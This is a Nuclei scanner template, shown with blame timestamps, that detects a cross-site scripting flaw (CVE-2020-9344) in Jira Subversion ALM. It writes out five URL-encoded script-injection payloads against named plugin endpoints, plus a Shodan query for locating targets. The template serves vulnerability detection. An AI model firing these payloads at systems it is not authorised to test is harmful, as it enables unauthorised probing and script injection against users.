nuclei-templates/http/cves/2020/CVE-2020-9344.yaml

59 lines
2.2 KiB
YAML
Raw Normal View History

2021-01-02 04:56:15 +00:00
id: CVE-2020-9344
2020-10-23 06:29:51 +00:00
info:
name: Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting
2020-10-23 06:29:51 +00:00
author: madrobot
severity: medium
description: Jira Subversion ALM for Enterprise before 8.8.2 contains a cross-site scripting vulnerability at multiple locations.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade Jira Subversion ALM for Enterprise to version 8.8.2 or later to mitigate this vulnerability.
reference:
2021-03-24 06:56:49 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9344
- https://kintosoft.atlassian.net/wiki/spaces/SVNALM/pages/753565697/Security+Bulletin
- https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-007.txt
- https://nvd.nist.gov/vuln/detail/CVE-2020-13483
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-9344
cwe-id: CWE-79
2023-07-26 06:26:52 +00:00
epss-score: 0.00205
2023-08-31 11:46:18 +00:00
epss-percentile: 0.57744
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:atlassian:subversion_application_lifecycle_management:*:*:*:*:*:*:*:*
2022-07-04 13:17:40 +00:00
metadata:
2023-07-26 06:26:52 +00:00
verified: true
2023-09-06 12:22:36 +00:00
max-request: 5
2023-08-31 11:46:18 +00:00
vendor: atlassian
product: subversion_application_lifecycle_management
2023-09-06 12:22:36 +00:00
shodan-query: http.component:"Atlassian Jira"
tags: cve,cve2020,atlassian,jira,xss
2020-10-23 06:29:51 +00:00
http:
2020-10-23 06:29:51 +00:00
- method: GET
path:
- '{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
- '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS'
- '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
- '{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test'
- '{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
2023-07-11 19:49:27 +00:00
2020-10-23 06:29:51 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: body
2020-10-23 06:29:51 +00:00
words:
- "<script>alert(document.domain)</script>"
2023-07-26 06:26:52 +00:00
- "jira"
- "subversion"
condition: and
case-insensitive: true
- type: word
2023-07-11 19:49:27 +00:00
part: header
words:
- "text/html"
2023-07-11 19:49:27 +00:00
- type: status
status:
2023-08-31 11:46:18 +00:00
- 200